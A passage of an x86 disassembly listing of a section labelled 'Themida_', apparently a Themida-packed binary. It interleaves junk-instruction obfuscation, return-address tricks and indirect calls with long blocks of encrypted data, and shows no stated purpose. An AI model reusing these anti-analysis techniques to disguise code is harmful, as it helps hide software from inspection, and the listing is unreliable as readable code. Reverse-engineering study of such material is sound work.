		dd 2C925A45h, 2A23C56Fh, 8992B9B3h, 8D0948E1h
		db 0A7h, 0E9h, 0C9h
; ---------------------------------------------------------------------------


loc_5F1F1F:				; CODE XREF: Themida_:005F1F01j
					; Themida_:005F1F07j
		mov	[edx+7E425B1h],	eax
		jnb	loc_5F1F2C
		cmc


loc_5F1F2C:				; CODE XREF: Themida_:005F1F25j
		pop	edx
		pusha
		and	ecx, 9F4F0C5h
		mov	bx, 6474h
		popa
		pop	ecx
		jb	locret_5F1F47
		jb	locret_5F1F47
		clc

locret_5F1F47:				; CODE XREF: Themida_:005F1F3Aj
					; Themida_:005F1F40j
		retn
; ---------------------------------------------------------------------------
		cmc


loc_5F1F49:				; DATA XREF: Themida_:00585188o
		push	ecx
		pusha
		jbe	loc_5F1F53
		mov	ch, 0A2h


loc_5F1F53:				; CODE XREF: Themida_:005F1F4Bj
		popa
		push	edx
		pusha
		mov	di, cx
		cld
		popa
		call	$+5
		pop	edx
		sub	edx, 7EAFAD5h
		pusha
		pusha
		jz	$+6
		popa
		and	edi, 4AC09C0Dh
		popa
		ja	loc_5F1F8D
		jmp	loc_5F1F8D
; ---------------------------------------------------------------------------
		dw 0AC9Bh
		dd 0D8CB2411h, 0DDF60AF8h
		db 1Dh
; ---------------------------------------------------------------------------


loc_5F1F8D:				; CODE XREF: Themida_:005F1F77j
					; Themida_:005F1F7Dj
		mov	ecx, eax
		jmp	loc_5F1FA8
; ---------------------------------------------------------------------------
		pop	ebp
		dec	ebx
		sbb	byte ptr [ecx-7Ah], 55h
		mov	[edx], eax
		push	ecx
		retf
; ---------------------------------------------------------------------------
		dw 0D977h
; ---------------------------------------------------------------------------
		rol	dword ptr [edx+5C2EEC91h], cl
		aad	28h


loc_5F1FA8:				; CODE XREF: Themida_:005F1F8Fj
		call	near ptr dword_5F1B7C+2A6h
		cld
		jb	loc_5F1FCB
		jmp	loc_5F1FCB
; ---------------------------------------------------------------------------
		db 0D2h, 8Ch, 8Ah
		dd 984E1C01h, 0A3FF59CDh, 0D3F4691Ah
		db 0Fh,	39h, 45h
; ---------------------------------------------------------------------------


loc_5F1FCB:				; CODE XREF: Themida_:005F1FAEj
					; Themida_:005F1FB4j
		xor	edx, edx
		pusha
		sbb	bx, 0EBA8h
		popa
		div	ecx
		jnp	loc_5F1FE3
		jbe	loc_5F1FE3
		clc


loc_5F1FE3:				; CODE XREF: Themida_:005F1FD6j
					; Themida_:005F1FDCj
		mov	eax, edx
		cmc
		pop	edx
		pusha
		push	eax
		pusha
		popa
		pop	ebx
		movzx	edi, bx
		popa
		pop	ecx
		clc
		retn
; ---------------------------------------------------------------------------
		db 60h
		dd 880Fh, 8B610000h, 0C9B260C0h, 6E8h, 0E7B04700h, 0FC67BBBh
		dd 81h,	0E9615A00h, 0Ah, 0D4F6B339h, 36B4CF52h,	0C08B2B99h
		dd 0C860Fh, 820F0000h, 6, 810Fh, 858D0000h, 7EAC370h, 11850Fh
		dd 0CE90000h, 58000000h, 9C601D85h, 58AE83AEh, 0FFBBD292h
		dd 98C0FD0h, 60000000h,	66FAB70Fh, 61DB03BBh, 60C18B66h
		dd 38D0Fh, 0BF0F0000h, 61FB8BCAh, 0F997858Dh, 8B0F07EAh
		dd 4, 61FA8B60h, 279D8589h, 850F07E4h, 7, 0F616060h, 8D61DABFh
		dd 0EAFABE85h, 0EE907h,	0AE230000h, 4CE839B8h, 0A1F4411h
		dd 83ADDE63h, 2CFD8589h, 10E907E4h, 49000000h, 0F2588E37h
		dd 3F090A4Dh, 1519DAADh, 0F886C289h, 0B8h, 800FFC00h, 1Ah
		dd 14860Fh, 0FE90000h, 86000000h, 2A543040h, 664E82FEh
		dd 0F479A5F1h, 0C00B8B23h, 127840Fh, 0C6FC0000h, 0E42C2D85h
		dd 0E8605607h, 6, 474AC343h, 0E4807633h, 0FA8A5FEBh, 30DF6861h
		dd 0E960A9C5h, 8, 7737F00h, 0BFC778BDh,	61F28B66h, 2141B5FFh
		dd 8E907E4h, 30000000h,	7177F341h, 8DD541BAh, 0E7B0A785h
		dd 178D0F07h, 0E9000000h, 12h, 3FFD1DB0h, 0C6DFEA31h, 7933202Bh
		dd 7D4A11FAh, 0D0FF26A4h, 8DF950F8h, 0E426C18Dh, 0F951F907h
		dd 0AE9046Ah, 34000000h, 198CD795h, 0DB3B86C7h,	100068FBh
		dd 0FFF80000h, 0E415DDB5h, 0D0FFF907h, 18E0Fh, 0FF80000h
		dd 184h, 0BD8BF900h, 7E415DDh, 0C2BF0F60h, 0CE961h, 8D0F0000h
		dd 0D81FA2DDh, 0C1E7669Ch, 7F03E409h, 6060F83Ch, 0A7B7D081h
		dd 59521F82h, 47BB5761h, 59578BCDh, 0F8C78161h,	60000000h
		dd 68F0Fh, 8C0F0000h, 0
; ---------------------------------------------------------------------------
		mov	edi, ebx
		popa
		mov	dword ptr [edi+24h], 60000020h
		jnz	loc_5F220F
		jnp	loc_5F220F
		jmp	loc_5F220F
; ---------------------------------------------------------------------------
		push	es
		inc	ecx
		imul	eax, [ecx], 2908D241h
		xor	bh, [esi+71CDA0E3h]
		adc	bl, ah


loc_5F220F:				; CODE XREF: Themida_:005F21EEj
					; Themida_:005F21F4j ...
		jmp	loc_5F2221
; ---------------------------------------------------------------------------
		dd 44C58649h, 956F7C83h, 316951D0h
		db 0ECh
; ---------------------------------------------------------------------------


loc_5F2221:				; CODE XREF: Themida_:loc_5F220Fj
		lea	ebx, [ebp+7E40405h]
		jmp	loc_5F2240
; ---------------------------------------------------------------------------
		dd 773DDE33h, 0FA99770Bh, 0E907DF31h, 0CF0F3969h, 4F152F0Bh
; ---------------------------------------------------------------------------


loc_5F2240:				; CODE XREF: Themida_:005F2227j
		jle	loc_5F224F
		pusha
		push	ebx
		pop	edx
		mov	edi, 5B9722D2h
		popa


loc_5F224F:				; CODE XREF: Themida_:loc_5F2240j
		mov	eax, [ebx]
		cmc
		pusha
		jmp	loc_5F2261
; ---------------------------------------------------------------------------
		dd 0AB789176h, 0E54A2930h
		db 6Ch
; ---------------------------------------------------------------------------


loc_5F2261:				; CODE XREF: Themida_:005F2253j
		jo	loc_5F2269
		mov	edx, eax


loc_5F2269:				; CODE XREF: Themida_:loc_5F2261j
		popa
		or	eax, eax
		jz	loc_5F22B5
		pusha
		mov	ch, 3Ah
		stc
		popa
		jmp	loc_5F2281
; ---------------------------------------------------------------------------
		dd 6A51938Eh
		db 0A0h
; ---------------------------------------------------------------------------


loc_5F2281:				; CODE XREF: Themida_:005F2277j
		mov	eax, [eax]
		pusha
		pusha
		jmp	loc_5F229D
; ---------------------------------------------------------------------------
		sbb	[ecx], esi
		mov	esp, 0CEB7629Dh
		xor	[edx+62A14A4Dh], dh
		sar	dword ptr [ebp-4Dh], cl
		cli
		mov	bl, 9


loc_5F229D:				; CODE XREF: Themida_:005F2285j
		popa
		adc	si, 1641h
		popa
		pusha
		cmc
		adc	edi, 1BD275E1h
		popa
		mov	[ebx+4], eax
		pusha
		movzx	ebx, si
		popa


loc_5F22B5:				; CODE XREF: Themida_:005F226Cj
		mov	ecx, 234CF6h
		lea	ecx, [ebp+7EAFEB4h]
		push	0
		push	edx
		call	sub_5F22CB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F22CB	proc near		; CODE XREF: Themida_:005F22C3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5F22CB	endp

; ---------------------------------------------------------------------------
		db 65h
		dd 4D5ACE41h, 23720762h, 6850Fh, 0BD8B0000h, 7E40DB9h
		dd 53D8B70Fh, 718D895Eh, 3307E41Bh, 0E4140D85h,	0A185C707h
		dd 0B007E42Dh, 0F000059h, 38Ah,	0D88B6600h, 22B985C7h
		dd 7E4h, 9D890000h, 7E41D55h, 2291B5FFh, 0FE8B07E4h, 306195FFh
		dd 0B58907E4h, 7E40A11h, 95FF006Ah, 7E40E41h, 6FEBC08Bh
		dd 1BA9B049h, 97030C6Bh, 496705B5h, 52F3A68Bh, 578DB984h
		dd 0FA4E6EE6h, 0FBC2BC00h, 0EDDF979Dh, 68E5CE52h, 0E451A599h
		dd 37F7625Dh, 314DC37Ch, 3664DE08h, 3893449h, 0EAD71302h
		dd 4A7CF0C5h, 72EC157Ah, 852F3BAAh, 0CE6CBB1Ah,	1980141Fh
		dd 68A80D53h, 0EAF4BA02h, 0DA267E44h, 59327264h, 17FA4F96h
		dd 0B2AD8715h, 6CE3528h, 8D912D1Eh, 0EB00088Dh,	53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0EA91F8E5h, 5E8BFh, 0E6EE0000h, 8B171F47h, 0E40A5DB5h
		dd 0D4BB5A07h, 8948A04Eh, 0E41B718Dh, 0C7C68B07h, 0E42DA185h
		dd 633407h, 0CA816600h,	85C75C10h, 7E422B9h, 0
		dd 0AE860h, 0FDDB0000h,	9B1B399Dh, 962158B3h, 19159D8Bh
		dd 35807E4h, 0E41C75BDh, 0B5FF6107h, 7E40E15h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0F1C35646h, 0A50B192h
		dd 6049F6DEh, 58C88A51h, 0F555B7BBh, 95FF6105h,	7E43061h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0A2C35343h
		dd 68093D90h, 5E56046Dh, 95FF006Ah, 7E40E41h, 5EEBC08Bh
		dd 36A8FB0Fh, 2743F575h, 4A60BB5Eh, 0F6A8BBE6h,	0CD298D23h
		dd 0CD3D6C60h, 0E0D863ACh, 0E6E88350h, 0F987A1A9h, 0AD7AB257h
		dd 3E8B2167h, 0B09BFACBh, 3DBCD1EBh, 0CB6DF99Dh, 0A1EC12C3h
		dd 0B9125EECh, 0DE2AB413h, 3EEAB696h, 5C0E9114h, 6F3BEA35h
		dd 0E4AF1D1Ah, 13FDE9A3h, 3D33A4B8h, 0DE8D73Ah,	9D000000h
		dd 0FE88F876h, 0E7C01150h, 0B287548Bh, 6830Fh, 85890000h
		dd 7E40065h, 9BB8665Bh,	0B7C38178h, 8900006Dh, 0E422C985h
		dd 73CEBA07h, 0F2811DEBh, 1DEB6884h, 139E2FBEh,	8B0B8B63h
		dd 0E40FA1BDh, 6F18107h, 662C3A9Eh, 20D7D881h, 20ABC181h
		dd 0BD893575h, 7E41BD1h, 0ECB6F181h, 0B8660B81h, 8A514CB9h
		dd 89038FE5h, 0E40939BDh, 89EB8107h, 6624B90Ch,	0C381F88Bh
		dd 24B90C85h, 9075B866h, 1EA81h, 850F0000h, 0FFFFFFADh
		dd 6F9858Bh, 0CE807E4h,	17000000h, 0BE1FD8B8h, 0FA01546h
		dd 8B278E4Ch, 0E431CD95h, 60535E07h, 867BE781h,	0E2800AACh
		dd 815B6157h, 6736C6h, 3946B900h, 9BB83CEAh, 0F000019h
		dd 28Dh, 0FF25B300h, 0B5B53136h, 5F07E421h, 0F78104B1h
		dd 0D923BA2h, 2D599D89h, 0C78107E4h, 0F049B44h,	0C781D4B2h
		dd 10AEF376h, 57DBB70Fh, 991958Bh, 68F07E4h, 0DABF0F57h
		dd 4EE835Ah, 18D0Fh, 83F50000h,	850F01E8h, 1Ch,	18B18D89h
		dd 42E907E4h, 0E6000000h, 1BF32575h, 4B2013E5h,	5A09BF67h
		dd 483B1DCEh, 0CE8h
		db 0
byte_5F2635	db 74h,	0F6h, 17h	; DATA XREF: Themida_:005851E4o
		dd 0C0B43181h, 79731960h, 0A58589BAh, 5B07E425h, 0FFFF7EE9h
		dd 8C349FFh, 0B654AC30h, 0B06DFC88h, 270F81CDh,	417F9EAAh
		dd 12E8A0h, 76500000h, 28D94AD5h, 4FFCA2h, 0BDCA5BFBh
		dd 0F80CD2DDh, 8F0Fh, 29590000h, 0E405819Dh, 91C18107h
		dd 0E900005Bh, 0Ch, 1D071372h, 0AB70E7Ah, 0A7B5E98Bh, 16B1B8h
		dd 820F6000h, 6, 2B618D29h, 958907E4h, 7E400A9h, 8B31FF61h
		dd 0E4224DB5h, 81605B07h, 0D46CADD2h, 0C985895Eh, 6107E40Eh
		dd 0B368F381h, 0F48A7903h, 4130F381h, 0F7811788h, 485C7B9Ah
		dd 5CCF381h, 950938AEh,	7E41F39h, 0B5291989h, 7E41ECDh
		dd 6604E983h, 0E881F98Bh, 1, 1E850Fh, 810F0000h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5F2737
; ---------------------------------------------------------------------------
		db 89h,	35h, 75h
		dd 6BB49232h, 0C1CC46F7h, 9FA94C80h, 0DEE24596h, 2025B589h
		dd 86E907E4h, 0C8FFFFFFh, 0ABF85F9Ah
; ---------------------------------------------------------------------------
		mov	al, 0DBh
		pop	esi


loc_5F2737:				; CODE XREF: Themida_:005F270Cj
		lea	ecx, [ebp+7EB0302h]
		mov	[ebp+7E42691h],	ecx
		mov	[ebp+7E41B71h],	ecx
		mov	[ebp+7E42739h],	edx
		mov	[ebp+7E4064Dh],	edx
		mov	dword ptr [ebp+7E42DA1h], 69B4h
		add	[ebp+7E42A11h],	ebx
		mov	dword ptr [ebp+7E422B9h], 0
		or	ebx, [ebp+7E42D09h]
		push	dword ptr [ebp+7E40919h]
		add	bx, 0B652h
		call	dword ptr [ebp+7E43061h]
		push	0
		call	dword ptr [ebp+7E40E41h]
		mov	eax, eax
		jmp	short loc_5F27F0
; ---------------------------------------------------------------------------
		pop	eax
		mov	ds:63CD2A3Dh, eax
		retf
; ---------------------------------------------------------------------------
		db 29h,	83h, 53h
		dd 78B3BB5Fh, 0D8DE146Dh, 321AC215h, 0A4C98731h, 2CA821F2h
		dd 0E753CBDDh, 16C7A964h, 0CAC1B62Fh, 7B6B88DBh, 17F8BB16h
		dd 49513003h, 78900CDh,	4977BBE3h, 0A79412FBh, 16407C46h
		dd 352B51E2h, 0D67E746Fh, 3E9696FEh, 0D7115128h, 37D8A028h
		dd 394C7057h
; ---------------------------------------------------------------------------


loc_5F27F0:				; CODE XREF: Themida_:005F2790j
		lea	ecx, [ebp+7EB0417h]
		stc
		mov	[ebp+7E41B71h],	ecx
		push	0
		push	ecx
		call	sub_5F2808
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F2808	proc near		; CODE XREF: Themida_:005F2800p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5F2808	endp

; ---------------------------------------------------------------------------
		dd 0FF728BC5h, 0D6CE0582h, 85C7F88Bh, 7E42DA1h,	63DCh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0DCC35545h
		dd 0A4C18881h, 617856Ah, 28C0F57h, 8B000000h, 85C75BC1h
		dd 7E422B9h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+7E40539h],	esi
		push	dword ptr [ebp+7E41E8Dh]
		push	0
		push	edx
		call	sub_5F287B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F287B	proc near		; CODE XREF: Themida_:005F2873p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5F287B	endp

; ---------------------------------------------------------------------------
		and	eax, 8101A986h
		sti
		sub	bl, [ebx+7Bh]
		call	dword ptr [ebp+7E43061h]
		clc
		push	0
		call	dword ptr [ebp+7E40E41h]
		mov	eax, eax
		jmp	short loc_5F28C3
; ---------------------------------------------------------------------------
		db 2Dh
		dd 8C739695h, 0CEBE5755h, 8855CF79h, 9B9C5B55h,	0C334BB02h
		dd 1E934D45h
		db 0D0h, 0A0h, 0B0h
; ---------------------------------------------------------------------------


loc_5F28C3:				; CODE XREF: Themida_:005F28A5j
		jmp	loc_5F28F2
; ---------------------------------------------------------------------------
		dd 0CDD7FBEh, 9	dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F28F2:				; CODE XREF: Themida_:loc_5F28C3j
		jmp	loc_5F34DA
; ---------------------------------------------------------------------------
		push	7EB05DCh
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7EB0703h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7EB090Ah
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7EB0A6Fh
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7EB0BB8h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7EB0D76h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7EB0EA6h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		db 8Bh,	0CFh, 89h
		dd 3E184156h, 0EE5EF60Bh, 0A2B2A6BBh, 51F95A6Fh, 7CC1EA1Eh
		dd 2B4073D7h, 0DEF3262Ch, 90A5D878h, 0F15689C5h, 9274A487h
		dd 0C5792400h, 327CD9C4h, 96E02921h, 65A9A7AFh,	286CE472h
		dd 78788CD5h, 7CA1CE49h, 0DACD4172h, 98A0D37Bh,	49307A76h
		dd 950F400Ah, 0FA776FB2h, 0E3273423h, 0FA54C0F4h, 0BA952823h
		dd 5E59FEAEh, 407D5Ah, 39810000h, 0FA5D2656h, 32152323h
		dd 23FA5D02h, 80B1FA07h, 0C8C0E601h, 979C9B7Eh,	0D27F23F9h
		dd 3487CB83h, 84B8A7EBh, 0EC23F997h, 7AD40618h,	0FA99593Ah
		dd 0A3BF90C9h, 5A5E13CBh, 0D270h, 7CD96F00h, 0B89B8ED2h
		dd 0FA5B4E92h, 381D1054h, 6CD2E316h, 5F1C1593h,	102558F6h
		dd 0DFC50945h, 0ADDDC0C9h, 0B21C1592h, 2F125CA5h, 23F9A774h
		dd 81F72A37h, 9F265639h, 162323F9h, 0F8292B2Dh,	84CEDAECh
		dd 0E111F43Ch, 0DE23F99Eh, 478BA0D1h, 4C2BE088h, 4E97B59Fh
		dd 1A3C1D04h, 0D85283D6h, 9EE862F1h, 83B4A2B7h,	62480B20h
		dd 21135CF4h, 0C2A659DEh, 0D1252246h, 0B5000009h, 6B80B3A5h
		dd 203568EEh, 0D0E51834h, 8499CC88h, 14487BCFh,	9DADA6B7h
		dd 5002556Ah, 24E081Dh,	0B39BBACFh, 0CEB11B80h,	2400939Eh
		dd 78E6E79Bh, 8F1D4D30h, 15221C15h, 0A3D82D01h,	2D5E573Dh
		dd 0D80B3F14h, 89BC92C3h, 24282C13h, 42E3C2E0h,	0D72206E9h
		dd 78DE5D8Eh, 5C8DC791h, 4E313E50h, 1C158F1Eh, 7BC50E1Bh
		dd 0F9979998h, 45899623h, 0F9982256h, 0A0B2A523h, 60EA695Ch
		dd 0D877121Ch, 3B14A7ABh, 5EAA7F2Fh, 0F7DA225Ah, 23F993C7h
		dd 0E686B7C4h, 0D0h, 327CD9E5h,	99E32C24h, 78A9A1B2h, 0D99EB004h
		dd 32402F4Ch, 8CC7E011h, 0A3AADABDh, 76021C15h,	0F4D2DC98h
		dd 16441C83h, 3BC2FC44h, 76E1CA13h, 0FC4598DCh,	485264B8h
		dd 24523E0Dh, 9357BD38h, 68B17B60h, 63BC2237h, 262F1C16h
		dd 75E0F528h, 99AF95D9h, 0F9604791h, 95C6195Dh,	777D381Bh
		dd 853223FAh, 63982D4h,	96E0E8FEh, 0E1355EB3h, 0FA44512Bh
		dd 0CC104613h, 0E7CE4879h, 96ABDE6Ch, 5A9B8DBDh, 0C6C2A72Dh
		dd 8AAA5A2h, 7EDC0000h,	0C792A7DAh, 0D475C8Fh, 61F70C3Fh
		dd 0A8ABC0F3h, 903B6FA2h, 91C486CDh, 4477DB7Ch,	0F629272Fh
		dd 0A7DA74E1h, 0C5F5D842h, 0CA240095h, 7AD91516h, 15279DD0h
		dd 0FBA11A2Bh, 0D2EB1C94h, 1D98CB83h, 80077CD9h, 0BC1C06F8h
		dd 2529593Ch, 19261C16h, 0EF4387D0h, 2494C4A7h,	40171C16h
		dd 147BCE12h, 98BDD607h, 557B83B6h, 2530135Dh, 0EA23FA3Eh
		dd 0AFA699DDh, 0FE576C9Fh, 0D1B80C50h, 0BAEACD88h, 0BF23FA1Dh
		dd 0D22569B2h, 40798CA1h, 59FCAB40h, 95BEB1F5h,	0C7104215h
		dd 71DE7983h, 0A0B29A14h, 8E631AEDh, 0E51E4F74h, 0ABD87D6Ah
		dd 0EBC16E4Bh, 1963AC75h, 0BC632632h, 88D89260h, 196CB0F9h
		dd 0FD0F85E8h, 489CE436h, 3F588955h, 5F43816h, 9CB880D2h
		dd 6683CC11h, 0B62C5FEFh, 272C8ACFh, 438CDF23h,	0F25CF912h
		dd 8088BFAEh, 0B5A19CB8h, 0F464579Bh, 0E5C81C60h, 9B729BB5h
		dd 209FADBAh, 3E6E512Fh, 3B9B729Ch, 5DD2E52Eh, 0EE60F5F2h
		dd 9FAFA6BBh, 5753755Bh, 53B3C50Dh, 474C39F5h, 48C7DC0Dh
		dd 0E3A357AEh, 0EB2F1F36h, 4AE48498h, 0B1CAE06Ah, 1F371E68h
		dd 959D0031h, 4A2D7773h, 9CB3132Bh, 0F0DF2330h,	9B72D2BDh
		dd 26095125h, 9B72D2F6h, 3E0E46F3h, 755EA7FAh, 53E6FE1h
		dd 0DB4E1E4Ah, 0F5ED22E7h, 0EC000003h, 8EC89178h, 0FCB1AD5Dh
		dd 0E62113EAh, 9D207CA7h, 20270A54h, 0B23F9C4h,	89CDB4FEh
		dd 0FF3083C7h, 85DACE59h, 0C4EAA508h, 0E3272B2Ch, 0B5FD4790h
		dd 85A2D2h, 1E3025A3h, 132087DAh, 928568E2h, 32AAE4A7h
		dd 64D707EAh, 0C7D49D24h, 252FF96h, 0D7BD014Ah,	5D6FB9B1h
		dd 0AACF9EF9h, 57876A77h, 549D23E7h, 0D1B4FE47h, 9D23E6A1h
		dd 0E660919Eh, 0B977603h, 482B39A5h, 0A2FF7718h, 75BF0815h
		dd 71E7C78Eh, 52679AE3h, 0A8AEAB03h, 6A9E6D5Fh,	0C2E63BBFh
		dd 6A3C5h, 0E177E300h, 96C099AEh, 46064E63h, 0FA5AFE13h
		dd 0A9A1B2C7h, 0D4994276h, 8398CB7Fh, 364B7ED4h, 0E8FD3020h
		dd 49AEE16Dh, 97CCFCDFh, 1DD12400h, 0C7C0E61Ch,	158EB4E4h
		dd 63ACB91Ch, 0BEEED119h, 0BB1C158Eh, 8E9ACAADh, 929F1C15h
		dd 569E1849h, 78739244h, 233EBE2h, 0F9F3E2EDh, 977AC223h
		dd 23F9E367h, 2A0D5764h, 23F9E3FAh, 2AC1F2FFh, 6AECD31Dh
		dd 1E4FA2E6h, 0B09EB7AAh, 78D67F66h, 3CB0E134h,	2B0E5632h
		dd 23F9E3FBh, 0DF0FF200h, 0DC23F9E3h, 1C5586CFh, 0A5ADC333h
		dd 0D1E5745Bh, 5182CB85h, 0FCE9F4D7h, 919E2BDDh, 75D6E85Eh
		dd 3905B93h, 5EF71041h,	4658ACF0h, 11C701C1h, 7891C2E1h
		dd 152771DDh, 0D65A6EF4h, 0E2568713h, 94C6AEFh,	0C5B8FC45h
		dd 5C79BD8Fh, 0F01B68E7h, 0D4E6A4ABh, 6E45DA4Fh, 0E5FE2FF4h
		dd 96163E70h, 0F6498DBDh, 0CD1669ADh, 2293B83h,	0F95B8886h
		dd 6067977Ch, 57641C16h, 54DC326h, 1660F222h, 0B9EAF71Ch
		dd 0BA714921h, 23EEE5Dh, 0E6ED0000h, 367EC8C0h,	84C0A4Fh
		dd 7C6F84B5h, 1C240093h, 9E42280Ah, 26572106h, 5138828Fh
		dd 154802h, 0C4B3F753h,	2400988Fh, 5202563Dh, 614D0821h
		dd 221559F3h, 88DB1F37h, 0FD04F63Fh, 87CA945Dh,	53E6663h
		dd 12480000h, 5BFE1346h, 0A1B3C8FBh, 0F56378ABh, 3C172C5Fh
		dd 4A7DB0Eh, 0FD301A39h, 0B0E36FE8h, 6295BB9Bh,	1346084Dh
		dd 316144AEh, 2E240099h, 6678797Ah, 0B8CFD3F9h,	1C2859E7h
		dd 3E16FD0Ah, 9277CA0Eh, 1C15DC62h, 0C7115A67h,	93BF987Fh
		dd 0E15A4D62h, 0D0DD2400h, 851388Ch, 51041D4Eh,	8CCCB3FDh
		dd 1F3497C8h, 0E1D41836h, 6196DA74h, 6E55331Ch,	0E0769FEAh
		dd 170246DCh, 6378ACEh,	0B3E668EDh, 518F4F1Fh, 16AEC5Ah
		dd 0D9EB0000h, 9B8ED27Ch, 596194BAh, 0EF13B37h,	23F9A2CBh
		dd 9279C3D0h, 0B2A28BC3h, 6F5699Ah, 23F9A1D2h, 0BCA8A73Ah
		dd 5A5E8CECh, 70759FB1h, 2F1B6EDBh, 2F5EFEh, 0E65D0000h
		dd 367EC8C0h, 8EDB0BEEh, 0D3E01C15h, 978E8DA2h,	0C7AE23F9h
		dd 0FA91C290h, 86BAA9EDh, 0EE23F997h, 2078F45Bh, 475A5EAAh
		dd 0ABh, 77CD946h, 6E5A00F4h, 0A2E62FF7h, 62F0674Eh, 819ACB1Eh
		dd 0D17DD8D2h, 6C74A487h, 6C791C16h, 63F2D923h,	5346BAEBh
		dd 15084C02h, 0CADB0E40h, 1C167164h, 2D60EE67h,	0BD070325h
		dd 0FD5003DAh, 115B6823h, 0EE21292Ah, 0DED07AD9h, 0BAC31639h
		dd 0F5423F63h, 91000003h, 475C8FC9h, 0FC114412h, 0ACC1F458h
		dd 6075A8ACh, 0F02457F3h, 79D182CBh, 2C263146h,	0DE72E4F9h
		dd 8FBF96ABh, 0AA8DF75Ch, 2400997Ah, 0D9CACB7Fh, 9F86D07Ah
		dd 5F5296B4h, 0E1125BF9h, 97EC697Eh, 7B7AA814h,	20539C8Bh
		dd 4F7F62AAh, 4C1C15B1h, 0D98F0E3Fh, 9B8ED27Ch,	0EB6194BAh
		dd 0BC005404h, 1A2C3869h, 957CC40Eh, 465B8CBEh,	23F9C0C7h
		dd 24135764h, 23F9BFF2h, 9565EA2Fh, 0E52D7773h,	0BF8ABA9Dh
		dd 0E28F23F9h, 479ADE76h, 39B8CDFEh, 0F62BDDF1h, 8ED505E8h
		dd 0CDDA1C15h, 93DB5184h, 158E80B0h, 89D07D1Ch,	0D45384CDh
		dd 8ED27CD9h, 0C7AAF23Ah, 1C158E97h, 72A28794h,	771C158Eh
		dd 78D2816Ah, 97B0E134h, 555D90BEh, 0AED3733h, 23F9A2C7h
		dd 8C7BBFCCh, 23F9A158h, 46222DC0h, 5A5E8C16h, 2915h, 66781400h
		dd 0D3C656C0h, 4753849Ah, 0FCDF2921h, 23FA4AFDh
		dd 625195A2h, 23FA492Eh, 204C0396h, 5A5E1948h, 0F6EFh
		dd 7CD9EE00h, 8EBEEED1h, 1C391C15h, 75BECB32h, 95153E31h
		dd 7CAC8FC2h, 811C158Eh, 9EE22B74h, 60A4AAABh, 81B6FA0Ch
		dd 9EB87D1Ch, 6DB1A3B5h, 85D0E91Ah, 1F8596C9h, 0E1C15A5h
		dd 0F3230647h, 0F81C15A3h, 5A6FA2EBh, 290F53FBh, 0DEC10B07h
		dd 23F9B297h, 460F4A31h, 0F9AA3363h, 0E22B3823h, 67374B9Eh
		dd 3BF16D5Eh, 4D5AF122h, 84D4BB03h, 0A0BBEBD0h,	0FADD23F9h
		dd 23F9A0CAh, 4E5BC2CFh, 5D44BA1Dh, 1A2657F9h, 0CFB2FCF4h
		dd 2BE08AF2h, 4836956Dh, 0ED57AC9Ch, 0E0735AA4h, 3122376Ah
		dd 62062719h, 6E92C2A6h, 23771h, 4D0B4F00h, 254051Ah, 0B29ABACFh
		dd 66EE6A7Fh, 15351E33h, 400DAEE2h, 0EF043713h,	0A2B7EA68h
		dd 54699CB4h, 0B51A4D01h, 9C38684Bh, 81352400h,	0C5917880h
		dd 2D9027C0h, 82CB140Ah, 4F93BD99h, 0A1B2CBFCh,	0F46176A9h
		dd 0E6AC275Ah, 367EC8C0h, 448064Fh, 0C08CC8B1h,	0E3F8297Ch
		dd 23F997E4h, 2276BAC7h, 6575EF10h, 467718A6h, 0F9BFFD31h
		dd 7DD26523h, 5E92B9F1h, 59FDE45Ah, 0E26C6F7h, 25000001h
		dd 8BC59178h, 8F2E5E41h, 1E2B1C15h, 0CD81D4EDh,	685A7183h
		dd 0C161B0B0h, 4071BA94h, 0D07AD9CCh, 9426388Ch, 0B1E1C4C7h
		dd 0AE1C15FEh, 9EEB8DA1h, 80E6FB2Ch, 6B1C164Ah,	0BB3164EAh
		dd 33B2DDA9h, 0C9FAEF59h, 65A9A5B0h, 6696697Fh,	0E978EC7Bh
		dd 23065099h, 23F9DFDCh, 0FF5105ECh, 0A03768BBh, 36586093h
		dd 0DB265639h, 0E57623F9h, 0A3A86B00h, 0ACF50269h, 20331A62h
		dd 6293E62Ah, 0E080114Dh, 6FE9962Bh, 54EA1E5h, 7C6173BBh
		dd 0B3F9521Eh, 350699Ah, 4016FD47h, 202E2710h, 0DC778CEFh
		dd 3AA77C6Eh, 0E90DC2A7h, 107ECh, 7DDB7F00h, 3224354Ah
		dd 0E26AEAFFh, 96BE9AAFh, 45054E63h, 70FDDE12h,	1F3467E3h
		dd 0D2E71A38h, 8499CC84h, 0E54A7DD1h, 9C68987Bh, 0B1652400h
		dd 0C69178B0h, 8E78A88Bh, 68751C15h, 7ED5EE1Fh,	0D18499CCh
		dd 0F5D87BDDh, 1C158EC5h, 3074BDCAh, 80B093DDh,	7D1C158Eh
		dd 0F6DD2770h, 5ABDEE5Eh, 0D27CD9DFh, 2D5D4088h, 321C158Fh
		dd 8D80F425h, 4B5386C8h, 19492C25h, 941C158Fh, 1C2990C4h
